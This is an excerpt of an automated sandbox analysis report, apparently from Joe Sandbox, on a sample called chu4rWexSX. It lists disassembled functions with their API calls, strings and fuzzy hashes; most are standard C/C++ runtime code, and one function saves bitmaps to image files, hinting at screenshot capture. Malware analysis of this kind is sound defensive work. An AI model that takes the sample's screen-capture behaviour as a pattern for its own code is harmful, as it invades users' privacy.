Instruction Fuzzy Hash: BF31CE317007159FCB25EF64C8A4BA9B7B0FF44312F144569ED0A9B292DBB8AC49CBD1

Function 00765BD4 Relevance: 9.1, APIs: 6, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00765C27
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00765C40
FindVITargetTypeInstance.LIBVCRUNTIME ref: 00765C47
PMDtoOffset.LIBCMT ref: 00765C66

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID:
API String ID: 1467055271-0
Opcode ID: 91b17af48ad28fe8782228f2028f9ed0dc2cdafd8621eae7be7578cecaca824e
Instruction ID: 16a7acbb292c171b7da63b1189e94e5ec7f17319286d75f9372287b58d13279b
Opcode Fuzzy Hash: 91b17af48ad28fe8782228f2028f9ed0dc2cdafd8621eae7be7578cecaca824e
Instruction Fuzzy Hash: 6821E572604B06DFCB14DF68DD4AEAD77A9EB44720F248219FC0693581DB38ED00A6A4

Function 00744BC0 Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

__Cnd_init.LIBCPMT ref: 00744BD4
__Mtx_init.LIBCPMT ref: 00744BFA
std::_Cnd_initX.LIBCPMT ref: 00744C1D
__Thrd_start.LIBCPMT ref: 00744C42
std::_Cnd_waitX.LIBCPMT ref: 00744C62
std::_Cnd_initX.LIBCPMT ref: 00744C8F

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID:
API String ID: 1687354797-0
Opcode ID: fffca05cae005c60756ea02ea123cea2a59a6691ace37ee45b430404b8463dc5
Instruction ID: 4169ac8ea1ebb5505aabf4eed353ccae5876d62b396513580044d6bd87696e3d
Opcode Fuzzy Hash: fffca05cae005c60756ea02ea123cea2a59a6691ace37ee45b430404b8463dc5
Instruction Fuzzy Hash: E8219471C45208EADF15EBE49889BDEB7F8AF18320F14406AF100B7181DB7D8945D676

Function 00765CF1 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00765CE8,00763669,0077D5B7,00000008,0077D91C,?,?,?,?,00760952,?,?,00456064), ref: 00765CFF
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00765D0D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00765D26
SetLastError.KERNEL32(00000000,?,00765CE8,00763669,0077D5B7,00000008,0077D91C,?,?,?,?,00760952,?,?,00456064), ref: 00765D78

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction ID: 456d294080d79907dfd966200f61a85863f445159e1d08686e3a463810ec0a5e
Opcode Fuzzy Hash: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction Fuzzy Hash: CD01B532219F119EA72427B4BCCD9766745EB12776F600339FD22911E3EF294C017A94

Function 00425A8A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00425A81,00423402,0043D350,00000008,0043D6B5,?,?,?,?,004206EB,?,?,9B7BEA53), ref: 00425A98
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00425AA6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00425ABF
SetLastError.KERNEL32(00000000,?,00425A81,00423402,0043D350,00000008,0043D6B5,?,?,?,?,004206EB,?,?,9B7BEA53), ref: 00425B11

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction ID: d87ef7cfaa2b5cfb6cbdbf05b4ef285a61b786d4d239820776c882c3096d8a91
Opcode Fuzzy Hash: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction Fuzzy Hash: 9501F532319B315E962427B57C8A93B2B44EB1237A3A1033FF110422E2EE298C11954C

Function 0040923A Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040924B
int.LIBCPMT ref: 00409262

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 0040926B
std::_Facet_Register.LIBCPMT ref: 0040929C
std::_Lockit::~_Lockit.LIBCPMT ref: 004092B2
__CxxThrowException@8.LIBVCRUNTIME ref: 004092D0

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: aecda51cfad16a14c661b09c3f866c6b1e884e956ba05fa14481af8ba73eaa99
Instruction ID: 06c252a83dd3135e677132500c85fc3d3a1f5e0b9d61c5f4000bd1d853819015
Opcode Fuzzy Hash: aecda51cfad16a14c661b09c3f866c6b1e884e956ba05fa14481af8ba73eaa99
Instruction Fuzzy Hash: 3E1170729002299BCF01EBA5C906AEE7774AF44714F14056EF514BB2D3DB3C9E058B99

Function 004044C8 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004044D9
int.LIBCPMT ref: 004044F0

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 004044F9
std::_Facet_Register.LIBCPMT ref: 0040452A
std::_Lockit::~_Lockit.LIBCPMT ref: 00404540
__CxxThrowException@8.LIBVCRUNTIME ref: 0040455E

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 712e7c0447b5fdd994d08d7a567175c03f4d6adcdf7cc98645e465c156b5909d
Instruction ID: dd293488768821599cb371ea77f090ab2db1a39f7f3540601cca35f62b779d1f
Opcode Fuzzy Hash: 712e7c0447b5fdd994d08d7a567175c03f4d6adcdf7cc98645e465c156b5909d
Instruction Fuzzy Hash: BF11C271900229DBCF01EBA5CC05AEE7774AF80318F54052EF614BB2D2EB3C9E048B99

Function 00404A42 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404A53
int.LIBCPMT ref: 00404A6A

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 00404A73
std::_Facet_Register.LIBCPMT ref: 00404AA4
std::_Lockit::~_Lockit.LIBCPMT ref: 00404ABA
__CxxThrowException@8.LIBVCRUNTIME ref: 00404AD8

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 5236a2fdc252b37663f8724e617ff0e7c5599239e5f75d5b2c41847ddc86586b
Instruction ID: 4fd4f03fbd92a07fb90c308499b14f516f44b3dbe61fc36e5286fb37c35ef9b3
Opcode Fuzzy Hash: 5236a2fdc252b37663f8724e617ff0e7c5599239e5f75d5b2c41847ddc86586b
Instruction Fuzzy Hash: A4118271A402299BCB11EBA5C805AEE7774AF84318F14452EFA14B72D2DB7C9E04CBDD

Function 00404ADE Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404AEF
int.LIBCPMT ref: 00404B06

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 00404B0F
std::_Facet_Register.LIBCPMT ref: 00404B40
std::_Lockit::~_Lockit.LIBCPMT ref: 00404B56
__CxxThrowException@8.LIBVCRUNTIME ref: 00404B74

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 27613ed7cebdd51aa6d2d7425bd858f73775dcb5e95b327a32edaed0862d5968
Instruction ID: 7779ca812170c6703d1f98dff001ad2dc706fab2a5d3b22ac56bfd6b97de35ec
Opcode Fuzzy Hash: 27613ed7cebdd51aa6d2d7425bd858f73775dcb5e95b327a32edaed0862d5968
Instruction Fuzzy Hash: 6111A0719002299BCF00EBA5D945BEE7774AF80318F14452EFA10B72D2DF3CAE008B99

Function 00759360 Relevance: 9.0, APIs: 6, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

atomic_compare_exchange.LIBCONCRT ref: 0075937C
atomic_compare_exchange.LIBCONCRT ref: 007593A0
std::_Cnd_initX.LIBCPMT ref: 007593B1
std::_Cnd_initX.LIBCPMT ref: 007593BF

Part of subcall function 00741346: __Mtx_unlock.LIBCPMT ref: 0074134D

std::_Cnd_initX.LIBCPMT ref: 007593CF

Part of subcall function 0075908F: __Cnd_broadcast.LIBCPMT ref: 00759096

Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 007593DD

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$atomic_compare_exchange$Cnd_broadcastConcurrency::details::_Counter::_Mtx_unlockRelease
String ID:
API String ID: 4258476935-0
Opcode ID: ac1f6157fba65b8eba4988676842addbd3c7b14e9be5b6c46c19b6913ab84c6e
Instruction ID: 390ffb035fd823ba3a6ef6e401277d3f156cd5b5e0a2a811b126bf07faf1616c
Opcode Fuzzy Hash: ac1f6157fba65b8eba4988676842addbd3c7b14e9be5b6c46c19b6913ab84c6e
Instruction Fuzzy Hash: A401F271A01604E7CB11BBA08C8EBDEB369AF44310F444011FA04A72C2EBBCAA198792

Function 0074505D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00745064

Part of subcall function 00748F9D: __EH_prolog3_GS.LIBCMT ref: 00748FA4

std::_Locinfo::_Locinfo.LIBCPMT ref: 007450AF
__Getcoll.LIBCPMT ref: 007450BE
std::_Locinfo::~_Locinfo.LIBCPMT ref: 007450CE

Strings

@C, xrefs: 0074505F

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID: @C
API String ID: 1836011271-1618053064
Opcode ID: 636c7bb967cbb9db249d381104dc52cb94bc35a0b80317e78cf569c2403f9c59
Instruction ID: 21b579c084b11229acdcd5bcbdb5da0eccce5b7c7727a0fdb2252573e61637f8
Opcode Fuzzy Hash: 636c7bb967cbb9db249d381104dc52cb94bc35a0b80317e78cf569c2403f9c59
Instruction Fuzzy Hash: D9015A71911608EFDB44EFA4C489BDEB7B0BF04311F208429E459AB282DB789948CFA1

Function 00404DF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00404DFD

Part of subcall function 00408D36: __EH_prolog3_GS.LIBCMT ref: 00408D3D

std::_Locinfo::_Locinfo.LIBCPMT ref: 00404E48
__Getcoll.LIBCPMT ref: 00404E57
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00404E67

Strings

dG@, xrefs: 00404E51

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID: dG@
API String ID: 1836011271-2038112956
Opcode ID: 56846697389a9c3ef9c4aa55fa575bf3a398b5459d1707c560d3e10148e74056
Instruction ID: df46efd116b13b1fab57415698cbce8b2bfdca59dd57f94743174e863f90c4ad
Opcode Fuzzy Hash: 56846697389a9c3ef9c4aa55fa575bf3a398b5459d1707c560d3e10148e74056
Instruction Fuzzy Hash: 17016971A11208EFDB10EFA5C481B9DB7B0BF54319F10852EE445BB2C2DB7C9944CB99

Function 0074A4D1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 0074DFE2

Part of subcall function 0074D854: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0074D876
Part of subcall function 0074D854: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0074D897

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0074DFF5
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0074E001
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0074E00A

Strings

C, xrefs: 0074DFBD

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID: C
API String ID: 4284812201-4181979269
Opcode ID: df53ec2338630c46be62610130b8d5be146df00ddc0400c4b8444ee465787056
Instruction ID: 1ecd6bcf84696d81cc205cc3a35133fd4d02369391f4ff4c539bdc628bc8edfd
Opcode Fuzzy Hash: df53ec2338630c46be62610130b8d5be146df00ddc0400c4b8444ee465787056
Instruction Fuzzy Hash: 9FF0B431601214E7DB34BBB4089A97E22865B46360F144169B5A26B3C1DF6C4D05D2A5

Function 0042CB94 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0042CB45,00000003,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002), ref: 0042CBB4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0042CBC7
FreeLibrary.KERNEL32(00000000,?,?,?,0042CB45,00000003,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002,00000000), ref: 0042CBEA

Strings

mscoree.dll, xrefs: 0042CBAD
CorExitProcess, xrefs: 0042CBBF

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2e0c18540c6b152e12a1f27ec5ed3b7b4a64235d451fee64bbe7bfd26fe369e7
Instruction ID: a6d38a367c32ae56f5a65af033c9bef4ee1599bdf8b92764bbdd210fe5f8f2bf
Opcode Fuzzy Hash: 2e0c18540c6b152e12a1f27ec5ed3b7b4a64235d451fee64bbe7bfd26fe369e7
Instruction Fuzzy Hash: 50F0AF34A40218BBDB109B90FC4AF9EBFB8EF05701F4101A9F905A62A0DB74AD50CA9C

Function 0074995F Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 007499BE

Strings

ios_base::eofbit set, xrefs: 00749990
ios_base::badbit set, xrefs: 00749981, 007499A1
ios_base::failbit set, xrefs: 0074998B
z/t, xrefs: 007499A2, 007499AF, 007499B2

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$z/t
API String ID: 2005118841-2196481549
Opcode ID: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction ID: 1ce846db957cf5ee7ddc08f824cd10c76c2043441d2139cf495dac1b1444be73
Opcode Fuzzy Hash: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction Fuzzy Hash: C7F02B72800208EBDB10E554CC06BFB73A85B85350F54802DAF56AB182E76CBD05C7D4

Function 00419AAD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00419AC1
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00419AE5
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00419AF8
__CxxThrowException@8.LIBVCRUNTIME ref: 00419B06

Strings

pScheduler, xrefs: 00419AF0

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 3657713681-923244539
Opcode ID: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction ID: 5e77bfba0aea411b2f8783024ebd35b9964dde202969f15405fa3b724ba64b5f
Opcode Fuzzy Hash: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction Fuzzy Hash: 3BF02431A00614A7C620EA41E8A28DEB339AE80759728452FE50263182DBB8AD4AC699

Function 00744F40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

std::_Cnd_initX.LIBCPMT ref: 00744F5A
__Cnd_signal.LIBCPMT ref: 00744F66
std::_Cnd_initX.LIBCPMT ref: 00744F7B
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 00744F82

Strings

9C, xrefs: 00744F40

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID: 9C
API String ID: 2059591211-2494760310
Opcode ID: eae4c9857b1abe072746ceb4c7b4c4976e36c06e3022dd10601dfba5e2ff895d
Instruction ID: a2e1f44b72414174f0b92fa30643c06d94ee233115aedae14bc28679133d0100
Opcode Fuzzy Hash: eae4c9857b1abe072746ceb4c7b4c4976e36c06e3022dd10601dfba5e2ff895d
Instruction Fuzzy Hash: BAF0ED71000700EBEB223B70C80F72E77A4EF00321F58882DF085619A2EF7EE8459A66

Function 0076D95B Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007705BE: RtlAllocateHeap.NTDLL(00000000,0074AB22,00000000), ref: 007705F0

_free.LIBCMT ref: 0076DA66
_free.LIBCMT ref: 0076DA7D
_free.LIBCMT ref: 0076DA9C
_free.LIBCMT ref: 0076DAB7
_free.LIBCMT ref: 0076DACE

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: bac744c16844bc28f67e2a2692f11bfddf22ed7ed3dd1c8455b02ad54f7b3643
Instruction ID: 355aeecc7d8025e74787e369d0c11abe9bb2d869ab05182cce22388072a69576
Opcode Fuzzy Hash: bac744c16844bc28f67e2a2692f11bfddf22ed7ed3dd1c8455b02ad54f7b3643
Instruction Fuzzy Hash: D051B071E14304EBDB20DF69C881A6AB7F4EF59724B154669EC0ADB250E739ED01CB80

Function 0076E3F2 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0076E464
_free.LIBCMT ref: 0076E484

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction ID: 327b4cf9066edc49da3299de867df9695552c115ac23d56bf4af31305dc00a66
Opcode Fuzzy Hash: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction Fuzzy Hash: 2741D036A00200DFCB20DF78C884A5DB7A5EF89714B5585A9E906EB382DB34AD01CB90

Function 0042E18B Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0042E1FD
_free.LIBCMT ref: 0042E21D

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction ID: 515a0150c3ed67af70ee8ab57ad8d99d2f9710b9e0fbd9fd505e744f032f886d
Opcode Fuzzy Hash: dbb62072ab6fed83ec18c664342d316d4c9e23de7a89da6955a6b03e0363e3c6
Instruction Fuzzy Hash: 8041E332B00314DBCB14DF79C881A5EB7B5EF88314F5545AAE516EB382DA35AD01CB84

Function 0043354D Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,23E85006,00429DAA,00000000,00000000,0042A5E8,?,0042A5E8,?,00000001,00429DAA,23E85006,00000001,0042A5E8,0042A5E8), ref: 0043359A
__alloca_probe_16.LIBCMT ref: 004335D2
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00433623
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00433635
__freea.LIBCMT ref: 0043363E

Part of subcall function 00430357: RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 13209b5fad86632e3d2b5ecf4371175c29375bbfbdd9c43b06a18ce89728bff9
Instruction ID: 9e917adb5b94520332cb0b05cdbd38b74e96469b1c707679ee7e4d37fa8c3114
Opcode Fuzzy Hash: 13209b5fad86632e3d2b5ecf4371175c29375bbfbdd9c43b06a18ce89728bff9
Instruction Fuzzy Hash: 3C31EE72A0020AAFDF258F65DC82DAF7BA5EB04315F04022AFC14D72A0E739CE51CB94

Function 00757DCD Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00757DF2

Part of subcall function 0074DE28: _SpinWait.LIBCONCRT ref: 0074DE40

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00757E06
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00757E38
List.LIBCMT ref: 00757EBB
List.LIBCMT ref: 00757ECA

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 1d7fab142bb9c6f7a938b72b2e23fad6b09bbb33b6ceedaff5b22481be41ee86
Instruction ID: 6b0bac126efcf07472c6347bf7ffacc68fac1e2d4b6cd5a9963c4f423699bd3d
Opcode Fuzzy Hash: 1d7fab142bb9c6f7a938b72b2e23fad6b09bbb33b6ceedaff5b22481be41ee86
Instruction Fuzzy Hash: F1315972D08755DFCB28EFA4E5866ECB7B0BF04705F0440AAD84167642DBB96D08CB91

Function 00417B66 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00417B8B

Part of subcall function 0040DBC1: _SpinWait.LIBCONCRT ref: 0040DBD9

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00417B9F
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00417BD1
List.LIBCMT ref: 00417C54
List.LIBCMT ref: 00417C63

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: ba6011760db06235155283df2b618593522f622e2309a6f60d5003547c5f04ed
Instruction ID: 011cd1f3d11a4dc3aa990a2433a845682151818d3f0c5c204b9cab00187677c9
Opcode Fuzzy Hash: ba6011760db06235155283df2b618593522f622e2309a6f60d5003547c5f04ed
Instruction Fuzzy Hash: FE314871E09656DFCB14EFA4C5916DDBBB0BF04308B14406FD8013B282DB397A88CB99

Function 00401D82 Relevance: 7.6, APIs: 5, Instructions: 80memoryfilewindowCOMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00401DB4
GdipAlloc.GDIPLUS(00000010), ref: 00401DBC
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 00401DD7
GdipSaveImageToFile.GDIPLUS(?,?,?,00000000), ref: 00401E01
GdiplusShutdown.GDIPLUS(?), ref: 00401E2D

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

